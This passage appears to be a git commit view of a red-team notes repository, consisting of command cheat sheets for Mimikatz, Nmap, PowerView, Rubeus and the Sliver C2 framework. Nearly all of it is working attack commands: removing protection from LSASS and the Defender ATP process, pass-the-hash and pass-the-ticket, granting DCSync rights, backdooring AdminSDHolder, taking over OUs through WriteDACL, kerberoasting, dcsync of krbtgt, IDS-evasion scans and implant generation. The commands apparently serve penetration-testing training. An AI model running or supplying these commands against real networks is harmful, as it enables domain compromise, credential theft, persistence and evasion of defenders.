- `openssl pkcs12 -in DMK.pfx -out temp.pem -nodes`
- `openssl pkcs12 -export -out DMK.pfx -in temp.pem`
- Remove PPL protections to kill a process
- `!processprotect /process:MsSense.exe /remove`
- This will alert ATP
- Disable LSA Protection by loading mimidrv.sys driver (must upload mimidrv.sys)
- `!+` at Mimikatz prompt
- `!processprotect /process:lsass.exe /remove` after driver is loaded
- Use Remote Desktop with PasstheHash
- `sekurlsa::pth /user:admin /domain:corp1 /ntlm:<NTLM hash> /run:"mstsc.exe /restrictedadmin"
- RestrictedAdmin must be enabled (disabled by default, set in registry)
`
Necronomicon/Tools/Nmap.md
+170
View File
@@ -0,0 +1,170 @@
### Target Specification
| Switch | Example | Description |
|-----------|------------------------------|--------------------------|
| | nmap 192.168.1.1 | Scan a single IP |
| | nmap 192.168.1.1 192.168.2.1 | Scan specific IPs |
| | nmap 192.168.1.1-254 | Scan a range |
| | nmap scanme.nmap.org | Scan a domain |
| | nmap 192.168.1.0/24 | Scan using CIDR notation |
| -iL | nmap -iL targets.txt | Get targets from a file |
| -iR | nmap -iR 100 | Scan 100 random hosts |
| --exclude | nmap –exclude 192.168.1.1 | Exclude listed hosts |
### Scan Techniques
| Switch | Example | Description |
|--------|----------------------|--------------------------------------------------------|
| -sS | nmap 192.168.1.1 -sS | TCP SYN port scan (Default) |
| -sT | nmap 192.168.1.1 -sT | TCP connect port scan (Default without root privilege) |
| -sU | nmap 192.168.1.1 -sU | UDP port scan |
| -sA | nmap 192.168.1.1 -sA | TCP ACK port scan |
| -sW | nmap 192.168.1.1 -sW | TCP Window port scan |
| -sM | nmap 192.168.1.1 -sM | TCP Maimon port scan |
### Host Discovery
| Switch | Example | Description |
|--------|--------------------------------|---------------------------------------------------|
| -sL | nmap 192.168.1.1-3 -sL | No Scan. List targets only |
| -sn | nmap 192.168.1.1/24 -sn | Disable port scanning. Host discovery only. |
| -Pn | nmap 192.168.1.1-5 -Pn | Disable host discovery. Port scan only. |
| -PS | nmap 192.168.1.1-5 -PS22-25,80 | TCP SYN discovery on port x. (Port 80 by default) |
| -PA | nmap 192.168.1.1-5 -PA22-25,80 | TCP ACK discovery on port x. (Port 80 by default) |
| -PU | nmap 192.168.1.1-5 -PU53 | UDP discovery on port x. (Port 40125 by default) |
| -PR | nmap 192.168.1.1-1/24 -PR | ARP discovery on local network |
| -n | nmap 192.168.1.1 -n | Never do DNS resolution |
### Port Specification
| Switch | Example | Description |
|-------------|-------------------------------------|-----------------------------------------------------------------------|
| -p | nmap 192.168.1.1 -p 21 | Port scan for port x |
| -p | nmap 192.168.1.1 -p 21-100 | Port range |
| -p | nmap 192.168.1.1 -p U:53,T:21-25,80 | Port scan multiple TCP and UDP ports |
| -p | nmap 192.168.1.1 -p- | Port scan all ports |
| -p | nmap 192.168.1.1 -p http,https | Port scan from service name |
| -F | nmap 192.168.1.1 -F | Fast port scan (100 ports) |
| --top-ports | nmap 192.168.1.1 –top-ports 2000 | Port scan the top x ports |
| -p-65535 | nmap 192.168.1.1 -p-65535 | Leaving off initial port in range makes the scan start at port 1 |
| -p0- | nmap 192.168.1.1 -p0- | Leaving off end port in range makes the scan go through to port 65535 |
### Service and Version Detection
| Switch | Example | Description |
|-------------------------|-------------------------------------------|----------------------------------------------------------------------------|
| -sV | nmap 192.168.1.1 -sV | Attempts to determine the version of the service running on port |
| -sV --version-intensity | nmap 192.168.1.1 -sV –version-intensity 8 | Intensity level 0 to 9. Higher number increases possibility of correctness |
| -sV --version-light | nmap 192.168.1.1 -sV –version-light | Enable light mode. Lower possibility of correctness. Faster |
| -sV --version-all | nmap 192.168.1.1 -sV –version-all | Enable intensity level 9. Higher possibility of correctness. Slower |
| -A | nmap 192.168.1.1 -A | Enables OS detection, version detection, script scanning, and traceroute |
### OS Detection
| Switch | Example | Description |
|------------------|-------------------------------------|------------------------------------------------------------------------------------------------------|
| -O | nmap 192.168.1.1 -O | Remote OS detection using TCP/IP stack fingerprinting |
| -O –osscan-limit | nmap 192.168.1.1 -O –osscan-limit | If at least one open and one closed TCP port are not found it will not try OS detection against host |
| -O –osscan-guess | nmap 192.168.1.1 -O –osscan-guess | Makes Nmap guess more aggressively |
| -O –max-os-tries | nmap 192.168.1.1 -O –max-os-tries 1 | Set the maximum number x of OS detection tries against a target |
| -A | nmap 192.168.1.1 -A | Enables OS detection, version detection, script scanning, and traceroute |
### Timing and Performance
| Switch | Example | Description |
|--------|----------------------|--------------------------------------------------------------------------------------------|
| -T0 | nmap 192.168.1.1 -T0 | Paranoid (0) Intrusion Detection System evasion |
| -T1 | nmap 192.168.1.1 -T1 | Sneaky (1) Intrusion Detection System evasion |
| -T2 | nmap 192.168.1.1 -T2 | Polite (2) slows down the scan to use less bandwidth and use less target machine resources |
| -T3 | nmap 192.168.1.1 -T3 | Normal (3) which is default speed |
| -T4 | nmap 192.168.1.1 -T4 | Aggressive (4) speeds scans; assumes you are on a reasonably fast and reliable network |
| -T5 | nmap 192.168.1.1 -T5 | Insane (5) speeds scan; assumes you are on an extraordinarily fast network |
### Timing and Performance Switches
| Switch | Example | Description |
|--------------------------------------------------------------|------------|---------------------------------------------------------------|
| –host-timeout \<time\> | 1s; 4m; 2h | Give up on target after this long |
| –min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout \<time\> | 1s; 4m; 2h | Specifies probe round trip time |
| –min-hostgroup/max-hostgroup \<size\> | 50; 1024 | Parallel host scan group sizes |
| –min-parallelism/max-parallelism \<numprobes\> | 10; 1 | Probe parallelization |
| –max-retries \<tries\> | 3 | Specify the maximum number of port scan probe retransmissions |
| –min-rate \<number\> | 100 | Send packets no slower than \<number\> per second |
| –max-rate \<number\> | 100 | Send packets no faster than \<number\> per second |
### NSE Scripts
| Switch | Example | Description |
|-----------------------|-------------------------------------------------------------------------|-------------------------------------------------------------------------|
| -sC | nmap 192.168.1.1 -sC | Scan with default NSE scripts. Considered useful for discovery and safe |
| –script default | nmap 192.168.1.1 –script default | Scan with default NSE scripts. Considered useful for discovery and safe |
| –script | nmap 192.168.1.1 –script=banner | Scan with a single script. Example: banner |
| –script | nmap 192.168.1.1 –script=http* | Scan with a wildcard. Example: http |
| –script | nmap 192.168.1.1 –script=http,banner | Scan with two scripts. Example: http and banner |
| --script | nmap 192.168.1.1 –script “not intrusive” | Scan default, but remove intrusive scripts |
| –script --script-args | nmap –script snmp-sysdescr –script-args snmpcommunity=admin 192.168.1.1 | NSE script with arguments |
### Useful NSE Script Examples
| Command | Description |
|---------------------------------------------------------------------------------------------------------------------|------------------------------------------------|
| nmap -Pn –script=http-sitemap-generator scanme.nmap.org | HTTP site map generator |
| nmap -n -Pn -p 80 –open -sV -vvv –script banner,http-title -iR 1000 | Fast search for random web servers |
| nmap -Pn –script=dns-brute domain.com | Brute forces DNS hostnames guessing subdomains |
| nmap -n -Pn -vv -O -sV –script smb-enum*,smb-ls,smb-mbenum,smb-os-discovery,smb-s*,smb-vuln*,smbv2* -vv 192.168.1.1 | Safe SMB scripts to run |
| nmap –script whois* domain.com | Whois query |
| nmap -p80 –script http-unsafe-output-escaping scanme.nmap.org | Detect cross site scripting vulnerabilities |
| nmap -p80 –script http-sql-injection scanme.nmap.org | Check for SQL injections |
### Firewall / IDS Evasion and Spoofing
| Switch | Example | Description |
|---------------|----------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------|
| -f | nmap 192.168.1.1 -f | Requested scan (including ping scans) use tiny fragmented IP packets. Harder for packet filters |
| --mtu | nmap 192.168.1.1 –mtu 32 | Set your own offset size |
| -D | nmap -D 192.168.1.101,192.168.1.102,192.168.1.103,192.168.1.23 192.168.1.1 | Send scans from spoofed IPs |
| -D | nmap -D decoy-ip1,decoy-ip2,your-own-ip,decoy-ip3,decoy-ip4 remote-host-ip | Above example explained |
| -S | nmap -S www.microsoft.com www.facebook.com | Scan Facebook from Microsoft (-e eth0 -Pn may be required) |
| -g | nmap -g 53 192.168.1.1 | Use given source port number |
| --proxies | nmap –proxies http://192.168.1.1:8080, http://192.168.1.2:8080 192.168.1.1 | Relay connections through HTTP/SOCKS4 proxies |
| --data-length | nmap –data-length 200 192.168.1.1 | Appends random data to sent packets |
### Output
| Switch | Example | Description |
|-----------------|-----------------------------------------------|------------------------------------------------------------------------|
| -oN | nmap 192.168.1.1 -oN normal.file | Normal output to the file normal.file |
| -oX | nmap 192.168.1.1 -oX xml.file | XML output to the file xml.file |
| -oG | nmap 192.168.1.1 -oG grep.file | Grepable output to the file grep.file |
| -oA | nmap 192.168.1.1 -oA results | Output in the three major formats at once |
| -oG – | nmap 192.168.1.1 -oG – | Grepable output to screen. -oN -, -oX – also usable |
| --append-output | nmap 192.168.1.1 -oN file.file –append-output | Append a scan to a previous scan file |
| -v | nmap 192.168.1.1 -v | Increase the verbosity level (use -vv or more for greater effect) |
| -d | nmap 192.168.1.1 -d | Increase debugging level (use -dd or more for greater effect) |
| --reason | nmap 192.168.1.1 –reason | Display the reason a port is in a particular state, same output as -vv |
| --open | nmap 192.168.1.1 –open | Only show open (or possibly open) ports |
| --packet-trace | nmap 192.168.1.1 -T4 –packet-trace | Show all packets sent and received |
| --iflist | nmap –iflist | Shows the host interfaces and routes |
| --resume | nmap –resume results.file | Resume a scan |
### Helpful Nmap Output examples
| Command | Description |
|----------------------------------------------------------------------------------------|-------------------------------------------------------------------------|
| nmap -p80 -sV -oG – –open 192.168.1.1/24 \| grep open | Scan for web servers and grep to show which IPs are running web servers |
| nmap -iR 10 -n -oX out.xml \| grep “Nmap” \| cut -d ” ” -f5 > live-hosts.txt | Generate a list of the IPs of live hosts |
| nmap -iR 10 -n -oX out2.xml \| grep “Nmap” \| cut -d ” ” -f5 >> live-hosts.txt | Append IP to the list of live hosts |
| ndiff scanl.xml scan2.xml | Compare output from nmap using the ndif |
| xsltproc nmap.xml -o nmap.html | Convert nmap xml files to html files |
| grep ” open ” results.nmap \| sed -r ‘s/ +/ /g’ \| sort \| uniq -c \| sort -rn \| less | Reverse sorted list of how often ports turn up |
### Miscellaneous Options
| Switch | Example | Description |
|--------|------------------------------|----------------------|
| -6 | nmap -6 2607:f0d0:1002:51::4 | Enable IPv6 scanning |
| -h | nmap -h | nmap help screen |
### Other Useful Nmap Commands
| Command | Description |
|-------------------------------------------------|-----------------------------------------------------|
| nmap -iR 10 -PS22-25,80,113,1050,35000 -v -sn | Discovery only on ports x, no port scan |
| nmap 192.168.1.1-1/24 -PR -sn -vv | Arp discovery only on local network, no port scan |
| nmap -iR 10 -sn -traceroute | Traceroute to random targets, no port scan |
| nmap 192.168.1.1-50 -sL –dns-server 192.168.1.1 | Query the Internal DNS for hosts, list targets only |
- Scan limited ports:
- `nmap -Pn -n -sS -p 21-23,25,53,111,137,139,445,80,443,8443,8080 --min-hostgroup 255 --min-rtt-timeout 0ms --max-rtt-timeout 100ms --max-retries 1 --max-scan-delay 0 --min-rate 2000 -oA Exercise_1_discovery -vvv --open -iL <IPLIST>`
- Scan all ports:
- `nmap -Pn -n -sS -p- -sV --min-hostgroup 255 --min-rtt-timeout 25ms --max-rtt-timeout 100ms --max-retries 1 --max-scan-delay 0 --min-rate 1000 -oA Exercise_3_Full_Port -vvv --open -iL <AliveHosts>`
- Example IDS Evasion command
- `nmap -f -t 0 -n -Pn –data-length 200 -D 192.168.1.101,192.168.1.102,192.168.1.103,192.168.1.23 192.168.1.1`
Necronomicon/Tools/PowerView.md
+129
View File
@@ -0,0 +1,129 @@
- Find computers with unconstrained delegation
- `Get-DomainComputer -Unconstrained -Properties DnsHostName`
- Find computers and associated services for constrained delegation
- `Get-DomainComputer -TrustedToAuth -Properties DnsHostName, MSDS-AllowedToDelegateTo`
- Get domain object for current domain or -Domain param
- `Get-Domain`
- Enumerates DC for current or specified domain
- `Get-DomainController | Select-Object Forest, Name, OSVersion`
- Returns all domains for the current forest or the forest specified by -Forest
- `Get-ForestDomain`
- Get domain password policy
- `Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess`
- Returns user objects, all by default
- `Get-DomainUser`
- `Get-DomainUser -Identity j.hunt -Properties DisplayName, MemberOf | Format-List`
- Return computer objects
- `Get-DomainComputer`
- `Get-DomainComputer -Properties DnsHostName | Sort-Object -Property DnsHostName`
- Search for Organizational Units in domain
- `Get-DomainOU`
- `Get-DomainOU -Properties Name | Sort-Object -Property Name`
- Return all groups or specific group objects in AD.
- `Get-DomainGroup`
- `Get-DomainGroup -Identity 'Domain Admins' | Select-Object -ExpandProperty Member`
- Return members of a specific domain group
- `Get-DomainGroupMember`
- `Get-DomainGroupMember -Identity 'Domain Admins' | Select-Object MemberDistinguishedName`
- Return Group Policy Objects (GPOs) or specific GPO objects in AD
- `Get-DomainGPO`
- `Get-DomainGPO -Properties DisplayName | Sort-Object -Property DisplayName`
- `Get-DomainGPO -ComputerIdentity wkstn-1555 -Properties DisplayName | Sort-Object -Property DisplayName`
- Return all GPOs in a domain that modify local group memberships through Restricted Groups or Group Policy Preferences, plus user membership mappings
- `Get-DomainGPOLocalGroup`
- `Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName`
- Find all machines where members of a specific group are logged in
- `Find-DomainUserLocation`
- `Find-DomainUserLocation | Select-Object UserName, SessionFromName`
- Enumerate members of a specific local group on local or remote machine (local admin required)
- `Get-NetLocalGroupMember`
- `Get-NetLocalGroupMember -GroupName Administrators | Select-Object MemberName, IsGroup, IsDomain`
- Return users logged in to local or remote machine (local admin required)
- `Get-NetLoggedOn`
- Return session information for local or remote machine (CName is source IP)
- `Get-NetSession`
- `Get-NetSession -ComputerName fs-1 | Select-Object CName, UserName`
- Return all domain trusts for current or specified domain
- `Get-DomainTrust`
- Display SIDs of principals that can create new GPOs, then translate
- `Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=cyberbotic,DC=io" -ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" } | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl`
- `ConvertFrom-SID S-1-5-21-3865823697-1816233505-1834004910-1605`
- Return SIDs of principals that can write to the GP-Link attribute on OUs
- `Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -match "WriteProperty" } | select ObjectDN, SecurityIdentifier | fl`
- Return list of computers in given OU
- `Get-DomainComputer | ? { $_.DistinguishedName -match "OU=3268" -or $_.DistinguishedName -match "OU=5735" } | select DnsHostName`
- Return a list of all shares across the domain
- `Find-DomainShare`
- Filter for shares to which the current user has access
- `Find-DomainShare -CheckAccess`
- Search for files across all shares on the domain
- `Find-InterestingDomainShareFile -Include *training*`
- Get domain SID
- `$(Get-ADDomain).DomainSID.Value`
- Get principal SID
- `$(Get-ADUser Anakin).SID.Value`
- Return any principal that has GenericAll, WriteProperty, or WriteDacl on user "jadams"
- `Get-DomainObjectAcl -Identity jadams | ? { $_.ActiveDirectoryRights -match "GenericAll|WriteProperty|WriteDacl" -and $_.SecurityIdentifier -match "S-1-5-21-3263068140-2042698922-2891547269-[\d]{4,10}" } | select SecurityIdentifier, ActiveDirectoryRights | fl`
- Do the above but for an entire OU
- `Get-DomainObjectAcl -SearchBase "CN=Users,DC=dev,DC=cyberbotic,DC=io" | ? { $_.ActiveDirectoryRights -match "GenericAll|WriteProperty|WriteDacl" -and $_.SecurityIdentifier -match "S-1-5-21-3263068140-2042698922-2891547269-[\d]{4,10}" } | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl`
- Grant user DCSync rights
- `Add-DomainObjectAcl -TargetIdentity "DC=dev,DC=cyberbotic,DC=io" -PrincipalIdentity bfarmer -Rights DCSync`
- Modify AdminSDHolder DACL template to grant a user full rights
- `Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,DC=dev,DC=cyberbotic,DC=io" -PrincipalIdentity bfarmer -Rights All`
- Return Kerberos policy for the domain
- `Get-DomainPolicy | select -expand KerberosPolicy`
- Find principals native to another domain (outbound trust)
- `Get-DomainForeignGroupMember -Domain cyberbotic.io`
- Find principals with ReadProperty on ms-Mcs-AdmPwd
- `Get-DomainObjectAcl -SearchBase "LDAP://OU=Workstations,DC=dev,DC=cyberbotic,DC=io" -ResolveGUIDs | ? { $_.ObjectAceType -eq "ms-Mcs-AdmPwd" -and $_.ActiveDirectoryRights -like "*ReadProperty*" } | select ObjectDN, SecurityIdentifier`
- Read ACEs applied to an object, automatically resolving the SID (Identity) for each.
- `Get-ObjectAcl -Identity offsec -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_}`
- Enumerate all ACEs for all domain users, resolve the SID, and filter on usernames that match our current user.
- `Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}`
- Enumerate all domain groups to which our current user has explicit access rights
- `Get-DomainGroup | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | AddMember -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}`
- Add "GenericAll" access right to the TestService2 object for the principal "offsec"
- `Add-DomainObjectAcl -TargetIdentity testservice2 -PrincipalIdentity offsec -Rights All`
- Enumerate Domain Trusts
- `Get-DomainTrust`
- Use DsEnumerateDomainTrusts API
- `Get-DomainTrust -API`
- Exploit "WriteDACL" against an OU
- With WriteDACL access on the OU object, you may grant yourself GenericAll against the OU, and then set another ACE on the OU that will inherit down to its descendent objects. First, you will need to set a GenericAll ACE against the OU object itself. This can be accomplished using the Add-DomainObjectAcl function in PowerView.
- You may need to authenticate to the Domain Controller as a member of EVERYONE@GTS.INT if you are not running a process as a member if you are not running a process as a member of that group. To do this in conjunction with Add-DomainObjectACL, first create a PSCredential object (these examples comes from the PowerView help documentation)
- `$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force`
- `$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)`
- Then, use Add-DomainObjectAcl, optionally specifying $Cred if you are not already running a process as a member of (group that holds the ACE against the OU)
- `Add-DomainObjectAcl -Credential $Cred -TargetIdentity (OU GUID) -Rights All`
- With full control of the OU, you may now add a new ACE on the OU that will inherit down to the objects under that OU. Below are two options depending on how targeted you choose to be in this step
- Generic Descendent Object Takeover
- The simplest and most straight forward way to abuse control of the OU is to apply a GenericAll ACE on the OU that will inherit down to all object types. Again, this can be done using PowerView. This time we will use the New-ADObjectAccessControlEntry, which gives us more control over the ACE we add to the OU.
- Reference the OU by its ObjectGUID, not its name.
- Will need the GUID for all objects. This should be 00000000-0000-0000-0000-000000000000
- `$Guids = Get-DomainGUIDMap`
- `$AllObjectsPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'All'} | select -ExpandProperty name`
- Construct the ACE. This command will create an ACE granting the "JKHOLER" user full control of all descendant objects.
- `$ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity 'JKOHLER' -Right GenericAll -AccessControlType Allow -InheritanceType All -InheritedObjectType $AllObjectsPropertyGuid`
- Apply the ACE to the target OU.
- `$OU = Get-DomainOU -Raw (OU GUID)`
- `$DsEntry = $OU.GetDirectoryEntry()`
- `$dsEntry.PsBase.Options.SecurityMasks = 'Dacl'`
- `$dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)`
- `$dsEntry.PsBase.CommitChanges()`
- Targetted Descendent Object Takeover
- Example: grant the "ITADMIN" user the ability to read the LAPS password from all computer objects in the "Workstations" OU
```PowerShell
$Guids = Get-DomainGUIDMap
$AdmPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'ms-Mcs-AdmPwd'} | select -ExpandProperty name
$CompPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'Computer'} | select -ExpandProperty name
$ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity itadmin -Right ExtendedRight,ReadProperty -AccessControlType Allow -ObjectType $AdmPropertyGuid -InheritanceType All -InheritedObjectType $CompPropertyGuid
$OU = Get-DomainOU -Raw Workstations
$DsEntry = $OU.GetDirectoryEntry()
$dsEntry.PsBase.Options.SecurityMasks = 'Dacl'
$dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)
$dsEntry.PsBase.CommitChanges()
```
- Set SPN on target account and kerberoast
1. `Set-DomainObject -Identity kekw -Set @{serviceprincipalname="kekw/CTHULHU"}`
2. `Rubeus.exe kerberoast /user:kekw /nowrap`
Necronomicon/Tools/Rubeus.md
+42
View File
@@ -0,0 +1,42 @@
- Show all tickets in memory
- `Rubeus triage`
- Get TGT for user and write to a file
- `execute-assembly /home/alh4zr3d/CRTO/Rubeus.exe asktgt /user:n.lamb /rc4:2e8a408a8aec852ef2e458b938b8c071 /nowrap`
- `[System.IO.File]::WriteAllBytes("C:\Users\IEUser\Desktop\nlamb-tgt.kirbi", [System.Convert]::FromBase64String("doIF[...snip...]Lmlv"))`
- Pass-the-Ticket
- Create net-only process (take note of PID and LUID)
- `rubeus.exe createnetonly /program:C:\\Windows\\System32\\cmd.exe`
- Pass the ticket into the new logon session
- `rubeus.exe ptt /luid:<luid> /ticket:[...snip...]`
- Impersonate token from that process
- `steal_token <pid>`
- Verify you have access, then jump
- `ls \\DC-1\C$`
- `jump winrm64 DC-1 tcp`
- Kerberoast all users
- `execute-assembly /home/alh4zr3d/CRTO/Rubeus.exe kerberoast`
- ASREPRoast all users
- `execute-assembly /home/alh4zr3d/CRTO/Rubeus.exe asreproast /format:hashcat`
- Find all available kerberos tickets in memory (for a user, or all users if in elevated context)
- `execute-assembly /home/alh4zr3d/CRTO/Rubeus.exe`
- Dump tickets from memory
- `execute-assembly /home/alh4zr3d/CRTO/Rubeus.exe (/luid:\<luid\> or /service:\<service name\>)`
- Create process as another user, pass TGT into new logon session, impersonate process, lateral mvmnt
- `execute-assembly /home/alh4zr3d/CRTO/Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe`
- `execute-assembly /home/alh4zr3d/CRTO/Rubeus.exe ptt /luid:0x21d8e17 /ticket:\[...snip...\]`
- The "Printer Bug" (Force any machine on the domain to authenticate to owned machine, capture TGT, extract hashes from machine)
- `execute-assembly /home/alh4zr3d/CRTO/Rubeus.exe monitor /interval:10`
- `execute-assembly E:\Tools\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe dc-1.cyberbotic.io web-1.cyberbotic.io`
- Rubeus should now capture new TGT
- Copy file to .kirbi file on local computer
- `kerberos_ticket_use C:\Users\Rasta\Desktop\dc-1.kirbi`
- `dcsync cyberbotic.io CYBER\krbtgt`
- Constrained Delegation exploitation
- Extract the computer's TGT since it is the computer that is trusted for delegation
- `execute-assembly /home/alh4zr3d/CRTO/Rubeus.exe dump /service:krbtgt`
- Rubeus s4u, impersonating user with local admin on target
- `rubeus.exe s4u /impersonateuser:n.glover /msdsspn:cifs/fs-1.cyberbotic.io /ticket:\[...snip...\]`
- Rubeus PTT and impersonate the token to use TGS
- Connect with PowerShell Remoting
- `Rubeus.exe asktgt /user:Administrator /rc4:b73fdfe10e87b4ca5c0d957f81de6863 /ptt`
- `Enter-PSSession -ComputerName dc01`
Necronomicon/Tools/Sliver.md
+12
View File
@@ -0,0 +1,12 @@
- Start service:
- `sudo service sliver start`
- `sudo service sliver status`
- Connect to teamserver:
- `sliver`
- Generate implants:
- `generate --mtls <url/ip:port> --save <local path> --os <default windows> # ex: --os linux
- `generate --os windows --arch 64bit --mtls <url/ip:port> --save <local path>`
- Listeners:
- `mtls -L <ip> -l <port>`
- Reconfigure Listeners:
- `reconfig -p 60 -r 600 -t 600`